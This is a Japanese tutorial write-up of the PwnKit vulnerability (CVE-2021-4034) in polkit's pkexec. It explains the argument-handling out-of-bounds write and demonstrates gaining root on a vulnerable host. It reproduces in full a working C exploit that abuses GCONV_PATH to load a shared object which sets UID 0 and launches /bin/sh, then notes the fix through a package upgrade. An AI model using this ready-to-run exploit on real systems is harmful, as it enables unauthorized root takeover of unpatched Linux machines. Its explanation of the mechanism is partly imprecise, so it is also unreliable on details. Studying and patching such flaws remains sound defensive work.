
2021年に発見され、2022年1月に発表・開示された CVE-2021-4034 は、親しみを込めて Pwnkit と名付けられました。しかし、この脆弱性は、実質的にすべての OS(Linux ディストリビューション)の Policy Toolkit - Polkit パッケージ のすべてのバージョンに存在します。要するに、この脆弱性により、権限を持たない攻撃者が OS 管理者へのアクセス権を垂直に昇格させることができます。
[!IMPORTANT] この脆弱性は pkexec バージョン 0.105 以前に存在します。
非常に重大な CVE であり、NIST.GOV によると CVSS スコア 7.8 点 に分類されていますが、これはローカルでのみ悪用可能であり、つまりリモート(Web アクセス)での悪用はできません。
Polkit は Linux の認可システムとして機能します。権限が少ないユーザーが、高い権限(例: 管理者)を必要とするタスクを実行する必要がある場合、polkit はそのユーザーに必要な権限があるかどうかを確認します。
たとえば、PKexec ユーティリティを使用すると、polkit 関数を呼び出すことができます。polkit は権限を確認し、権限がない場合はパスワードを要求します。以下の例のとおりです。
上記のように、Pwnkit 脆弱性は PKexec(権限チェックプロセス)に存在します。この脆弱性では、PKexec がコマンドライン(CLI)で実行されるときにパラメータの処理にセキュリティ上の問題がなく、攻撃者が環境を操作でき、「Out-of-Bounds Write」 と呼ばれる欠陥が発生します。
PKexec は、渡されたコマンドライン引数を for ループを使用して解析しようとします。インデックス 1 から開始してプログラム名をスキップし、最初の実際の引数を取得します。プログラム名は引数の解析には無関係なので、インデックスは単にそれを無視するためにオフセットされています。
そのため、引数を定義しない場合、インデックスは自動的に 1 に定義されます。
以下に例を作成しましょう。
for(n=1; n < number_of_arguments; n++){
}
引数の数が 0 の場合、'N' は引数の数より小さくなることはありません。そのため、'N' は 1 のままであり、ループは 完全にバイパスされ , ループは実行されません。
コマンドライン引数がないため、インデックス n には引数が存在しません。代わりに、プログラムはメモリ内の次のものを上書きします。これは、execve() という C 関数を使用してプログラムが呼び出されたときの環境変数リストの最初の値になります。言い換えると、PKexec に null の引数リストを渡すことで、環境変数を強制的に上書きさせることができます。
この脆弱性を簡単に悪用する方法はいくつかあり、さまざまなインターネットスクリプトが存在します。時間を節約するために、私たちの友人 Arthepsy の リポジトリにある、この脆弱性を悪用する C で書かれたスクリプトを使用します。
このスクリプトは、GCONV_PATH 変数を悪用して、ルートとして /bin/sh を呼び出す共有オブジェクトを組み込みます。
Arthepsy - CVE-2021-4034 - exploit.c
スクリプトを実行する前に、脆弱なホストへのアクセスを確認します。
UID 1000 のユーザー(root ではない)がいますが、Useradd などの管理者機能を実行することはできません。
root ユーザーへのアクセスを取得し、Useradd などのいくつかの機能を実行できました(エラーは別の問題に関するものですが、プロセスを root として実行できました)。
完了 ✔️
この解説の締めくくりとして、以下のエクスプロイトスクリプトを簡単に見てみましょう。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
これは基本的に、前述の PKexec の引数の問題を悪用し、GCONV_PATH 環境変数を /bin/sh で上書きし、stuid(0)(root)を設定します。
OS のパッケージ自体にはすでに修正版が用意されています。sudo apt update && sudo apt upgrade コマンドを実行するだけで、システムのこの問題を修正できます。